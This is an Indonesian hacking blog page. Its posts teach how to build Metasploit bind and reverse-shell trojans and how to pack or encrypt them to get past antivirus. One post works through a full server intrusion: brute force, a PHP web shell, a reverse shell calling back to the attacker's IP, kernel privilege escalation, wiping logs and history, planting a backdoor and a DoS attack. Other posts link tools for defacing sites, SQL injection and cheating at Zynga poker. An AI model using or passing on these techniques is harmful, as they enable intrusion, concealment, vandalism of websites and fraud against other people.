Artikel Terkini

Monday, September 10, 2012

membuat trojan dan memahami cara kerjanya

0 comments
Mari kita membuat trojan. Oh ya, ini full tutorial untuk ilmu semata, jika disalahgunakan saya tidak akan bertanggung jawab. Orang bijak tidak bajak. Bagi yang belum tau apa itu trojan, silakan baca teori trojan yang sangat bagus dan detail Di kesempatan kali ini, kita akan belajar membuat dan memahami cara kerjanya. Untuk memulai tutorial ini, diharapkan pembaca sudah memiliki program Metasploit Framework yang akan selalu digunakan pada tutorial kali ini. Sebagai catatan, host pemilik trojan dan penyerang akan diperankan oleh (halah kayak pentas drama aja hahah) mesin Linux Slackware dengan IP address 10.100.254.213, sedangkan korban trojan akan diperankan oleh Windows 7 Ultimate dengan IP address 10.100.239.225.
Kita akan full menggunakan Metasploit Framework untuk membuat trojannya. Maka dari itu, tentu saja payload trojan yang akan kita gunakan adalah payload shell dari Metasploitnya. Ada dua tipe koneksi trojan pada metasploit yang kita gunakan pada tutorial ini yaitu bind dan reverse. Pada payload jenis bind, akan dibuka port 4444 pada target dan target yang akan melakukan listen di port komunikasi ini. Jadi command yang dikirim oleh pemilik trojan akan dikirim melalui port 4444.
Bind TCP Connect
Bind TCP Connect
Untuk percobaan jenis koneksi seperti di atas, berarti kita akan menggunakan payload jenis bind_tcp Metasploit, tetapi agak beda dengan teori gambar di atas, untuk percobaan ini dicoba bukan ke port 4444 tapi ke port 19191:
Membuat Trojan Berjenis Bind Connect
Membuat Trojan Berjenis Bind Connect
msfpayload windows/shell/bind_tcp LPORT=19191 X > /tmp/a.exe
Maksud command msfpayload di atas adalah menggenerate payload windows/shell/bind_tcp yang listen di port 19191 dan bertipe exe dan outputnya disimpan di /tmp/a.exe. Selanjutnya file trojan a.exe ini akan dipindahkan ke user Windows untuk di eksekusi. Di bawah ini adalah program a.exe yang telah di eksekusi user Windows:
Listen Port 19191 yang Kini Terbuka di Windows Target
Listen Port 19191 yang Kini Terbuka di Windows Target
Sementara itu di box Linux penyerang (pemilik trojan), dipasang exploit handler yang akan berinteraksi dengan port 4444 target:
Windows PWNED
Windows PWNED
Pada exploit di atas ini, hanya dilakukan setting host target dan listen portnya (host Windows 10.100.239.225:19191). Yak! tuh dari gambar di atas kita sudah masuk shell Windows kan? Sementara itu netstat di komputer korban adalah sebagai berikut:
Bind TCP Established
Bind TCP Established
Cara seperti ini adalah cara jika pada mesin target tidak memiliki firewall. Kalau saja ada firewall dan firewallnya dikonfigurasi dengan secure, tentu saja koneksi tidak akan tercipta. Dari inbound, tentu saja firewall memfilter koneksi yang datang ke host target (apakah mengizinkan koneksi ke port 19191?). Dari sisi outbound, lagi-lagi firewall tentu memfilter koneksi yang keluar dari target.
Firewall Target Memfilter Koneksi
Firewall Target Memfilter Koneksi
Untuk itu ada tipe koneksi kedua, yaitu reverse. Koneksi reverse akan membuat korban yang menginisiasi koneksi ke listen port yang terletak di mesin penyerang sendiri. Solusi agar bisa bypass firewall digambarkan sebagai berikut:
Reverse TCP Connect
Reverse TCP Connect
Langsung ke prakteknya saja untuk reverse, dimulai dari tahap membuat trojannya:
Membuat Trojan Berjenis Reverse Connect
Membuat Trojan Berjenis Reverse Connect
Command di atas, sekali lagi menggunakan msfpayload untuk generate trojan shell reverse yang listen di host 10.100.254.213 dengan listen port 80. Hasil generate trojan bernama b.exe. Setelah b.exe di pindahkan ke mesin Windows dan di eksekusi, beginilah netstat Windows target sekarang:
Host Target yang Mulai Berkoneksi via Port 80 Penyerang
Host Target yang Mulai Berkoneksi via Port 80 Penyerang
Sementara itu di host penyerang jalankan handlernya dan voila, shell target muncul dan itu berarti payload kita lolos dari filter firewall port 80.
Windows PWNED
Windows PWNED
Trojan b.exe juga bisa digunakan untuk hacking di scope WAN/Internet karena mekanisme payload ini menggunakan port 80, port yang umumnya diizinkan firewall untuk masuk atau keluar. Sekian tutorial membuat trojan menggunakan payload pada Metasploit plus logika cara kerja connect bind dan reverse. Dengan menggunakan kreatifitas, trojan a.exe dan b.exe di atas bisa dimodif agar lebih ampuh berdaya guna (pada kesempatan lain akan di bahas), misalnya:
  • Dibinding dengan file-binder agar menjadi satu file executable dengan file lain (misalnya disatukan dengan notepad.exe)
  • Dienkripsi sehingga bisa lolos dari deteksi signature antivirus
  • Template .exe nya dibuat mirip dengan file exe tertentu (misalnya dengan file game minesweeper.exe)
  • dan sebagainya
Baca Selengkapnya →

hacking anatomy (plus real hacking example)

0 comments
Dalam melakukan hacking tentu ada langkah-langkah yang kita lakukan. Sebenarnya langkah-langkah itu adalah anatomi kita dalam melakukan hacking dan masing-masing memiliki tujuan tersendiri sehingga dengan tercapainya mini-goal tersebut, kita bisa maju ke langkah selanjutnya. Tetapi supaya tidak bosan baca teori anatomi hackingnya, di post ini juga akan diberikan contoh real hacking nya tentu saja yang sudah dibagi-bagi per stage anatominya.
Hacking Anatomy
Hacking Anatomy
Hacking Stage 0: Define the Target
Tentukan target yang akan kita serang. Target bisa didapat dari permintaan sang target sendiri untuk audit keamanannya, atau karena hanya iseng, ataupun karena dendam sama target hahah. Untuk contoh kali ini, target saya adalah sebuah server internal ber-IP private (192.168.66.87) yang ingin di audit keamanannya (jadi bukan karena dendam hehe).
Hacking Stage 1: Footprinting
Tahap selanjutnya adalah tahap dimana kita berusaha mencari informasi mengenai target sebanyak mungkin. Untuk contoh kali ini saya akan mencari informasi tentang si 192.168.66.87 sebanyak mungkin.. Berikut informasi yang bisa saya dapatkan:
OS Fingerprinting dengan nmap
OS Fingerprinting dengan nmap
Bisa coba juga dengan opsi “nmap -sV” untuk mengetahui versi dari masing-masing servis yang running di target tersebut. Setelah mengetahui versinya, bisa dimanfaatkan untuk dicari di forum-forum atau milis tentang bug/vulnerability dari versi service-nya. Misal Apache target adalah versi 2.0.52, tinggal cari security hole Apache/2.0.52. Yak, teorinya semudah itu. Banyak jalan menuju Roma, semoga beruntung ya hahah.
Lanjuutt… saya mendapat informasi bahwa webservernya adalah Apache versi 2.0.52. Dengan kesalahan konfigurasi dari ServerTokens webserver yang di-configure sangat spoiler sekali (Full) didapatkan informasi distro target adalah CentOS Linux lengkap dengan modul-modul yang aktif di webserver tersebut.
Mengais Informasi dari HTTP Response
Mengais Informasi dari HTTP Response
Jangan terlalu terpaku pada informasi yang saya dapatkan ya. Masih banyak informasi yang bisa didapatkan pada stage 1 ini. Diantaranya nih:
  1. Spesifikasi hardware target
  2. Siapa sysadmin nya
  3. Dimana lokasinya
  4. Topologi antara kita (penyerang) dan target, melewati berapa hop, ada di subnet mana, belakang firewall atau engga, dst
  5. dan lain sebagainya yang bisa dijadikan informasi seputar target… karena poin 1-4 di atas ini kadang bisa sangat berguna loh untuk kelanjutan stage hacking ke stage selanjutnya.
Hacking Stage 2: Scanning
Tahap berikutnya adalah melakukan scanning pada target untuk memetakan kelemahan dan kekuatan target. Dan tentu saja yang menyenangkan adalah bagian kelemahan target lah.. hehe. Sebenarnya nmap di atas juga bisa dikategorikan melakukan scanning, tapi scanning yang saya lakukan di atas masih tergolong ringan jadi lebih condong tergolong tahap perkenalan (footprinting). Seharusnya stage scanning ini sudah lebih intensif dari sekedar mencari informasi atau dengan kata lain sudah ada beberapa tindakan destruktif ringan yang terjadi pada target. Saya menggunakan software OpenVAS untuk men-scanning target sebagai berikut:
Vulnerability Report pada Target dengan OpenVAS
Vulnerability Report pada Target dengan OpenVAS
Dari hasil scan didapatkan informasi bagian mana saja yang vulnerable pada target. Dengan adanya tahap ini, diharapkan scope hacking semakin menyempit alias kita semakin fokus bagian target mana aja yang sebaiknya kita eksploitasi.
Hacking Stage 3: Enumeration
Tahap enumeration adalah tahap melakukan serangan. Pada tahap inilah ada babak gugur (hacker menyerah), exploitasi gagal, atau exploitasi berhasil hahah. Ini adalah tahap puter-puter otak bagaimana caranya kita bisa masuk ke sistem. Kadang bisa menghabiskan waktu berjam, hari, bulan, taun di tahap ini. Untuk percobaan hacking kali ini, kita coba ambil contoh vulnerability pada WebDAV (module mod_dav Apache) yang dilaporkan sama OpenVAS. Kita fokus dulu untuk hack WebDAV nya…
Biasanya WebDAV ada di direktori /webdav. Default config dan beberapa tutorial webdav juga biasanya mensugesti untuk install webdav di direktori /webdav. Apalagi kalau pada tahap 1 tadi kita dapat info kalau sysadmin target ternyata males ganti nama direktori dan sukanya nelen bulet-bulet tutorial orang di internet (tuh kan penting kenal sysadminnya juga heheh). Mari kita coba enumerasi webdav target..
HTTP Respon 401
HTTP Respon 401
Nah.. bener kan ada folder /webdav/… tapi ternyata untuk masuk folder /webdav/ dibutuhkan authentikasi dulu (terlihat dari respon server HTTP 401 Authorization Required), cuma authorized user yang boleh read dan write isi folder webdav. Sekarang coba masukin user password ngasal… Saya request HTTP HEAD untuk direktori /webdav/ dengan tipe Authorization “Basic” dan username password yang ngasal…
Respon Server Ketika HTTP Auth Salah
Respon Server Ketika HTTP Auth Salah
Terlihat masih sama responnya, HTTP 401 hehe. Username dan password diatas itu sudah dikonversi ke format base64 menjadi “YWRtaW5pc3RyYXRvcjphc2RmMTIz”. Kenapa base64? Hmm untuk mekanisme autentikasi HTTP menurut RFC-2617 adalah “username:password” di-encode menjadi format base64. Jadi untuk contoh ngasal ini “YWRtaW5pc3RyYXRvcjphc2RmMTIz” = “administrator:asdf123″. Untuk meng-encode dan decode banyak kok toolnya di internet. Salah satunya yang saya gunakan adalah ini.
Ayo jangan putus asa, kita coba pakai bantuan tools Hydra untuk membruteforce user dan password webdav ini. Akhirnya tidak lama ditemukanlah username dan passwordnya. Binggohh!! login: administrator dengan password: iloveyou hahahay..
Enumerasi WebDAV dengan Bruteforce
Enumerasi WebDAV dengan Bruteforce
Saya memanfaatkan user.lst dan password.lst John The Ripper buat si Hydra melakukan bruteforce. Makanya ada di direktori “john-1.7.7″ kalo diteliti konsol di atas ini hehe.. Terlihat juga di atas ternyata dilakukan 9507 percobaan login ke webdav.
Hacking Stage 4: Gaining Access
Tahap ini adalah tahap masuk ke dalam sistem. Ada dua kemungkinan akibat stage sebelumnya. Jika beribu enumerasi gagal sang hacker bisa langsung skip ke stage terakhir: Denial of Service dengan memenuhi service target dengan segelumit (halah) sebanyak-banyak request, sehingga server menjadi sibuk melayani request tersebut. Kalau terlalu sibuk bisa bikin service crash sampai yang paling parah si target bisa restart atau down. Tetapi kalau ternyata di stage sebelumnya salah satu enumerasi berhasil, silahkan bisa baca paragraf selanjutnya di bawah ini hehe.
Gaining access bisa dengan mencari credentials login atau misalnya menginjeksi shellcode pada program/service yang vulnerable sehingga target bisa mengeksekusi binary yang kita inginkan pada systemnya (biasanya sih, prefer kalo target mengeksekusi /bin/sh atau /bin/bash untuk kita sehingga kita bisa dapat shell).
Tetapi untuk contoh kali ini, berhubung di stage sebelumnya kita sudah mendapatkan credentials login (user dan password), mari kita masuk ke webdav menggunakan webdav client bernama Cadaver. Ternyata kita bisa ngapain aja di folder webdav ini. Horray! Hehe.
Break-in ke Direktori /webdav/
Break-in ke Direktori /webdav/
Hacking Stage 5: Escalating Privilege
Tahap ini adalah tahap untuk meningkatkan privilege jika ternyata kita hanya bisa menguasai target dengan privilege terbatas. Skip step ini jika kita sudah dapat root. Hahah.. beruntung sekali langsung dapet root hehe. Tapi untuk contoh kasus kita, di tahap sebelumnya kita sudah masuk ke folder webdav kan.. Nah, sekarang puter otak lagi bagaimana caranya agar saya bisa eskalasi privilege a.k.a menjadi root. Hmm.. Saya coba menggunakan file PHP yang bisa membantu saya mengeksekusi command-command di system target. Pertama-tama sih coba upload dulu file php pake perintah PUT tentu saja… dan ternyata bisa.. Heheh..
Mengupload File ke Folder WebDAV
Mengupload File ke Folder WebDAV
Setelah php_backdoor.php dan php_cmd.php di upload, buka browser kesayangan dan ketik URL http://192.168.66.87/webdav/php_cmd.php?cmd=<shell command biasa>. Berikut beberapa yang saya coba dan hasil outputnya:
URL Output
http://192.168.66.87/webdav/php_cmd.php?cmd=cat%20/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
...dst...
http://192.168.66.87/webdav/php_cmd.php?cmd=uname%20-r 2.6.9-55.ELsmp
Hmm saya coba upload file pamungkas bernama “php-reverse-shell.php” yang saya dapat dari http://pentestmonkey.net/tools/web-shells/php-reverse-shell untuk mendapatkan shell target memanfaatkan php. Modifikasi sedikit agar tujuan menuju IP saya dan portnya yang sudah menunggu heheh. Tinggal ketikkan ini di URL:
http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999
Sementara netcat (nc) sudah stenbai listening di komputer saya dan spawn the target’s shell.. Horray!
Gaining Root Access
Gaining Root Access
Keterangan gambar di atas:
  • Sebelumnya saya sudah mengeksekusi netcat untuk stenbai listening di port 9999. Kemudian kita eksekusi URL http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999 yang akan memberikan shell di netcat saya.
  • Saya mengetikkan perintah “id” untuk mengetahui jadi siapa saya di shell target ini
  • Saya mengetikkan “pwd” untuk mengetahui lokasi aktif di shell (ternyata di folder  /)
  • Browsing-browsing mencari dimana lokasi folder “webdav”. Awalnya sih karena intip-intip isi file httpd.conf/webdav.conf
  • Mengeksekusi exploit local escalation privilege karena ternyata kernelnya sudah jadul (2.6.9). “linux-sendpage3″ ini saya upload via Cadaver. Jadi sekarang tinggal eksekusi aja binary “run” nya
  • Who am I? I’m w00t!
Hacking Stage 6: Pilfering
Tahap ini adalah tahap yang tidak terlalu wajib dilakukan. Menurut kamus sih pilfering artinya pencurian haha… Ya kita bisa mencuri apa saja yang ada pada target. Misalnya dumping file username/password pada system (/etc/passwd dan /etc/shadow), masuk ke database mysql dan jalan-jalan liat table databasenya, atau curi-curi foto dan video. Sapa tau ada video skandal sysadminnya hahah.
Hacking Stage 7: Covering Tracks
Tahap selanjutnya adalah tahap yang biasanya malah lupa dilakukan orang yang berhasil break into target’s system. Padahal tim ahli forensik bisa menangkap kita karena track record ini. Bukti di pengadilan ya track record ini juga. Makanya kalau habis masuk rumah orang tanpa izin jangan lupa di pel tuh bekas lumpur di lantai dan sidik jari di gagang pintu hehe.
Ini contoh log terakhir yang ada di target.. IP kita keliatan toh.. Ooo hahahahah…
Access Log
Access Log
Silahkan berkreasi untuk membersihkan log nya. Contoh di atas ini adalah log HTTP request.. Mungkin bisa di edit untuk hapus line-line yang mencurigakan hehe. Ada lagi log session SSH kita juga tentu saja.. jangan lupa. Untuk membuat session SSH tidak tercatat, jangan lupa ketik command ‘unset HISTFILE’ dan ‘history -c’ setelah beraktifitas di shell target. Atau bisa dengan mengetikkan command ‘HISTFILE=/dev/null’ sebelum beraktifitas di shell target sedemikian sehingga variable HISTFILE akan selalu dicatat ke /dev/null (=buang) oleh shell target.
*clue* Di sistem target (karena sistemnya *nix), ada 3 log file penting, yang mencatat..:
  1. WTMP – setiap log in/off, waktu log in/off, tty, host
  2. UTMP – siapa yang online saat ini
  3. Lastlog – dari mana sumber log in terakhir
Lokasi file ini biasanya di /etc/ atau /var/adm/ atau /var/log dsb. Nah, silakan cari cara untuk cover track yang nanganin dan ngebersihin 3 file ini hehe
Hacking Stage 8: Creating Backdoors
Ada banyak cara membuat backdoor. Sesuai arti katanya, backdoor artinya pintu belakang atau jalan alternatif untuk kita masuk ke dalam sistem itu untuk kebutuhan kedepan hahah. Kalau bisa dibuat semudah mungkin untuk masuknya. Jangan serumit waktu pertama kali masuk ke target. Contoh backdoor bisa saja menginstall service yang listen pada port rahasia yang memprovide kita akses langsung ke shell target, membuat user baru, dan lain sebagainya.
Untuk contoh kita tadi, backdoor kita tentu saja file php-reverse-shell.php di URL rahasia kita:
http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999
Jadi kedepannya kalau kita mau bertamu ke target lagi, tinggal siapin link di atas ini plus netcat di komputer kita yang set listen di port 9999. Tips: kalau bisa nama file backdoornya jangan php-reverse-shell.php… sangat mencurigakan.. hahahah.. sedikit kreatif untuk rename file dan sembunyiin di folder-folder tertentu haha.
Hacking Stage 9: Denial of Service
Denial of Service (DoS) adalah ancaman yang paling sering terjadi di dunia security. Siapa saja bisa melakukan dan ini bisa terjadi kapan saja, tidak harus karena ulah hacker, bahkan bisa terjadi karena ulah anak-anak alay yang gak ngerti komputer! Sesuai artinya, denial of service ya berarti si target menolak menjalankan service seperti biasanya. Katakanlah target kita adalah website registrasi e-KTP. Denial of service berarti adalah si server target e-KTP tidak bisa menjalankan service e-KTP untuk anda karena terlalu sibuk/down. Bayangkan betapa kecewanya kita dan betapa ruginya instansi e-KTP yang tidak bisa melayani (roda bisnis macet -halah).
Faktor-faktor yang menyebabkan denial of service ada banyak. Ada yang karena diserang ribuan rikues bertubi-tubi terus bikin si server sibuk, sampai yang emang karena si penyerang yang berhasil break-in (seperti kita di stage sebelumnya) sengaja ngetik command ‘/etc/init.d/httpd stop’. Ya kalau httpd stop sama aja dengan menolak layanan web dari client ‘kan??
Ini contoh Denial of Service akibat ulah anak-anak alay yang bahkan gak ngerti hacking sekalipun: (dari Wikipedia)
This describes a situation where a website ends up denied, not due to a deliberate attack by a single individual or group of individuals, but simply due to a sudden enormous spike in popularity. This can happen when an extremely popular website posts a prominent link to a second, less well-prepared site, for example, as part of a news story. The result is that a significant proportion of the primary site’s regular users — potentially hundreds of thousands of people — click that link in the space of a few hours, having the same effect on the target website as a DDoS attack. A VIPDoS is the same, but specifically when the link was posted by a celebrity.
An example of this occurred when Michael Jackson died in 2009. Websites such as Google and Twitter slowed down or even crashed.Many sites’ servers thought the requests were from a virus or spyware trying to cause a Denial of Service attack, warning users that their queries looked like “automated requests from a computer virus or spyware application”.
Untuk contoh melakukan serang DoS kali ini, saya akan serang service Apache target (192.168.66.87) sampai mabok karena request partial content yang bertubi-tubi..
DoS Attack
DoS Attack
Sambil mengeksekusi program tersebut saya coba menjalankan file test.html yang cuma berisi kata ‘hello world’ dan…. butuh waktu > 3 menit.. bayangkan betapa sibuknya si server. Ini masih bisa di rekayasa dengan membuat parallel reqs nya lebih besar lagi dan loop lebih banyak lagi.. bisa dijamin mabok Apachenya. Hehehe.
Penutup
Demikianlah stage hacking dan contoh nyata nya di setiap stage. Hasil akhir setiap stage akan berpengaruh ke stage selanjutnya. Sekian yang bisa saya sampaikan, semoga bermanfaat.
Salam,
gboys_flush404


Tersedia dalam file PDF disini.
Bentuk: PDF
Terkompresi: GZIP
Nama File: HACKING_ANATOMY
Ukuran: 320 KB
Baca Selengkapnya →

tool hacking vbulletin brute force

0 comments
langsung aja yahh...
nah beberapa jam yang lalu aku postingkan tool exploid V2.1 masih ingat gak????kalau lupa ya udah bisa di baaca disini lagi dan donwload ulang CLICK HERE 
dan malam ini aku akan coba lagi berbagi tool BRUTE FORCE VBULLETIN nah ITU CARA MUDAH UNTUK DEFACE WEBSITE hanya satu saran ku untuk kalian semua 
KLIK GAMBAR UNTUK MEMPERBESAR PENIS GAMBAR
OK selamat mencoa semoga dapat membantu anda menjadi bejat dan maksit dalam dunia maya yang gelap gulita dan gundah gulana ini :D
PERHATIAN:
menggunakan tool dan kecanduan tool bisa membuat anda bodoh dan kolot plus tolol karana anda hanya mengandalkan tool2 anda ayang orang lain yang buatnya...!!! ini hanya saran bagi2 anda agar selain menggunakan tool cobalah untuk berekperimen yang lainya,,,!! karna aku yakin kalian kesini karna untuk segelintir pengetahuan dan kalian kesini karna untuk mencoba,,, orang yang mencoba ilmu pasti akan menuai hasil uji cobanya..!!! tergantung dari percobaan anda sendiri... eeh iya disini ada clik jackingnya jadi klaua mau donwload click 2-4x ya cepat2 kliknya :D
ns : http://anggabhandel009.blogspot.com/
Baca Selengkapnya →

tool sqli injection (web deface)

0 comments
OK kemarin dah aku postingkan beberapa tool yang pertama TOOL AUTO EXPLOID V. 2.1
DAN beberapa hari yang lalu aku juga dah posting tentang TOOL HACKING VBULLETIN BRUTE FORCE
dan sekarang akau mau postingkan lagi neeh tool baru :D yaitUU:
 TOOL SQL INJECTION (DEFACE WEBSITE)
langsung aja di donwload ya disini :) kalau link broken silahkan komentar di bawah sini dan jika tidak bisa... maka silahkan hubungi PUSKESMAS TERDEKAT :D

Password
Baca Selengkapnya →

cheat poker zynga pembaca kartu,anti doh,chip duplikator

0 comments

 neh ane ada lgi neh yg terbaru nya...sedot aja gan...moga makin sukses dari sbelum nya

untuk bot pembaca kartu lawan ( include video tutorial ) syarat pake : chip minimal 5-50M


download di sini : http://www.mediafire.com/?igxeizx98i8f519


untuk anti DOH & chip duplikator download di sini : http://www.mediafire.com/?zn0gmzr5ygz ( ini minimal 1M tuk transfer)


download,install & buktikan sendiri seperti teman2 lain sbelum nya...masih hangat bgt neh....


cheat zynga open card result

anti DOH
Baca Selengkapnya →